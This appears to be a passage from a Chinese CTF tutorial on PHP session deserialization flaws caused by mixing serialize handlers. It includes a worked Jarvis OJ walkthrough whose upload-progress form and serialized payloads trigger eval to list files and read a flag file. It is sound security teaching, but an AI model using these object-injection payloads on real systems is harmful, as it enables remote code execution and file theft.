session.save_path="" —— 设置 session 的存储路径session.save_handler="" —— 设定用户自定义存储函数,如果想使用 PHP 内置会话存储机制之外的可以使用本函数(数据库等方式)session.auto_start boolean —— 指定会话模块是否在请求开始时启动一个会话,默认为 0 不启动session.serialize_handler string —— 定义用来序列化/反序列化的处理器名字,默认使用 php
5.1.6 常见的 php-session 存放位置
/var/lib/php5/sess_PHPSESSID/var/lib/php7/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSED- 在
php.ini 里查找 session.save_path,也可以在这里更改路径
5.1.7 session.serialize_handler 定义的引擎
| 处理器名称 | 存储格式 |
|---|
php | 键名 + 竖线 + 经过 serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
php_serialize | 经过 serialize() 函数序列化处理的数组 |
注:自 PHP 5.5.4 起可以使用 php_serialize
上述三种处理器中,php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| 和 !)。
注:查看版本,注意:在 PHP 5.5.4 以前默认选择的是 php,5.5.4 之后就是 php_serialize,在实际场景中,如果当前系统环境(或当前页面)使用的是 php_serialize 处理器,但某些特定页面(如 index 页面)却配置为使用 php 处理器,这种处理器混用就会造成漏洞。
下面我们实例来看看三种不同处理器序列化后的结果。
<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
比如这里我get进去一个值为abc,查看一下各个存储格式:
- php : lemon|s:3:"abc";
- php_serialize : a:1:{s:5:"lemon";s:3:"abc";}
- php_binary : lemons:3:"abc";

其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。
5.2 漏洞造成原理
5.2.1 原理说明
当使用 php_serialize 处理器写入 session,而使用 php 处理器读取 session 时,就可能导致反序列化漏洞的产生。
其根本原因在于:
两种处理器的解析规则不同
漏洞关键点:
当 php_serialize 写入如下数据时:
|O:7:"xiaoxin":1:{s:4:"name";s:9:"eagleslab";}
最终 session 文件内容变为:
a:1:{s:7:"session";s:44:"|O:9:"eagleslab":1:{s:4:"name";s:9:"eagleslab";}";}
当 php 处理器解析时:
- 遇到
|,认为是分隔符 - 截取
| 后面的内容 - 将其当作序列化字符串处理
实际解析的数据变成:
O:9:"eagleslab":1:{s:4:"name";s:9:"eagleslab";}
这正是我们构造的 payload,从而触发 unserialize(),进入对象注入流程(POP链触发点)
5.2.2 简单实例
写入端(session.php)
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
作用:
- 使用
php_serialize 写入 session - 用户输入可控
触发端(class.php)
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class TestObject{
public $name = "no serialize!!!!!!";
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new TestObject();
?>
作用:
- 使用
php 读取 session - 会触发反序列化
- 通过
__wakeup / __destruct 判断是否利用成功
利用逻辑说明
这两个文件的关键点在于:
- 使用了不同的 session 处理器
session.php:负责写入(可控输入)class.php:负责读取(触发反序列化)
初始 session 状态
先访问 session.php,此时 session 内容为:
a:1:{s:7:"session";N;}

构造 payload
<?php
class TestObject{
public $name = "payload";
}
$o = new TestObject();
echo serialize($o);
?>
得到:
O:10:"TestObject":1:{s:4:"name";s:7:"payload";}
最终利用 payload
|O:10:"TestObject":1:{s:4:"name";s:7:"payload";}
关键:前面必须加 |
写入后 session 内容变化
a:1:{s:7:"session";s:48:"|O:10:"TestObject":1:{s:4:"name";s:7:"payload";}";}

触发漏洞
直接访问 class.php:

session_start() 读取 session,使用 php 处理器解析, | 后数据被当作序列化对象,触发 unserialize()
页面输出payload
5.3 [Jarvis OJ] PHPINFO
题目环境
http://web.jarvisoj.com:32784/index.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
是一道反序列化的题目,题目源码很简单,当创建OowoO()这个类的对象时,会自动调用__construct()这个魔术方法,给mdzz这个变量赋值为"phpinfo();",然后程序执行结束后会自动调用__destruct这个魔术方法,触发了eval()
虽然我们现在没有思路,但是我们可以先操作看看,可能就有灵感了呢
先随便给phpinfo这个变量get一个值
http://web.jarvisoj.com:32784/index.php?phpinfo=a

成功执行了phpinfo();
题目中有个这
ini_set('session.serialize_handler', 'php');
考虑到可能是序列化引擎不同导致的session反序列漏洞
我们来看一下session的配置

果然,存储和读取session时用到的处理器引擎不一样
现在有个问题,session是怎么传进去的呢,之前都是有个$_SESSION=$_GET['a'],通过参数a传进去
本题没有$_SESSION进行变量赋值,这种情况我们可以用php文件上传进度来解决
当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。
也可查看php官方文档:

回到本题,看下session的配置

刚好可以利用!
启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候
PHP会将文件名保存在$_SESSION中
所以构造一个提交文件的表单:
<form action ="http://web.jarvisoj.com:32784/index.php" method ="POST" enctype="multipart/form-data">
<input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="1"/>
<input type ="file" name ="file"/>
<input type ="submit"/>
</form>
然后构造一个序列化的数据:
<?php
ini_set('session.serialize.handler','php');
session_start();
class OowoO{
public $mdzz = 'payload';
}
$obj = new OowoO();
echo serialize($obj);
?>
将payload改为如下代码
print_r(scandir(dirname(__FILE__)));
#scandir目录中的文件和目录
#dirname函数返回路径中的目录部分
#__FILE__ php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
#整体作用:列出当前 PHP 文件所在目录下的所有文件和目录
#序列化后的结果
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
为防止双引号被转义,在双引号前加上\,除此之外还要加上|
完整的payload:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
然后随便上传一个文件,BP 抓包后修改上传的文件名为
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径
既然知道了路径,就继续构造payload即可
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
#file_get_contents() 函数把整个文件读入一个字符串中。
序列化后的payload
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
双引号前加上\
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
Bp提交:

6.其他PHP反序列化资料
[[CTF]PHP反序列化总结](https://blog.csdn.net/solitudi/article/details/113588692?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166234073116781683934559%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166234073116781683934559&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-113588692-null-null.article_score_rank_blog&utm_term=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4450)
其他PHP反序列化题目,可以参考,有时间可以从简到难做做(比较难~),搜题目应该大部分都有在线环境,不会的自行解决,俺也没做过...
简单
- [极客大挑战 2019]PHP 反序列化,wakeup绕过
- [MRCTF2020]Ezpop 简单的pop
- [NPUCTF2020]ReadlezPHP 动态函数
- [EIS 2019]EzPOP
签到
- [网鼎杯 2020 青龙组]AreUSerialz 反序列化,弱类型比较
- [网鼎杯 2020 朱雀组]phpweb 简单的反序列化命令执行
- [安洵杯 2019]easy_serialize_php 反序列化逃逸
- [SWPUCTF 2018]SimplePHP phar反序列化
- [CISCN2019 华北赛区 Day1 Web1]Dropbox phar反序列化
- [GXYCTF2019]BabysqliV3.0
- [2020 新春红包题]
- [极客大挑战 2020]Greatphp 原生类的利用
- [watevrCTF-2019]Pickle Store python 反序列化
- [SUCTF 2019]Upload Labs2 原生类反序列化
- [网鼎杯 2020 总决赛]Game Exp
中等
- [0CTF 2016]piapiapia 重量级,这题居然是16年的题目,放到现在感觉也不算特别简单的题目,介乎中等之间
- [CISCN2019 华北赛区 Day1 Web2]ikun python反序列化,jwt伪造
- [强网杯 2019]Upload 反序列化
- bestphp's revenge 反序列化引擎带来的问题
- [HarekazeCTF2019]Easy Notes 和上面一道题是一个考点
- [HFCTF 2021 Final]easyflask python 反序列化
- [MRCTF2020]Ezpop_Revenge 简单的POP 打SSRF
- [红明谷CTF 2021]EasyTP thinkphp3反序列化读取任意文件
- [D3CTF 2019]EzUpload
困难
- [CISCN2019 总决赛 Day1 Web4]Laravel1 当时应该是0day出题,纯自己做也是比较麻烦的
- [安洵杯 2019]iamthinking 1day出的题,纯自己挖反序列化也是困难的、
- [NCTF2019]phar matches everything phar反序列化漏洞+SSRF漏洞+PHP-FPM未授权访问漏洞。
- [RoarCTF 2019]PHPShe
- 虎符2021线下 tinypng 这道题很有意思,绕过姿势很多,需要详细做
脑洞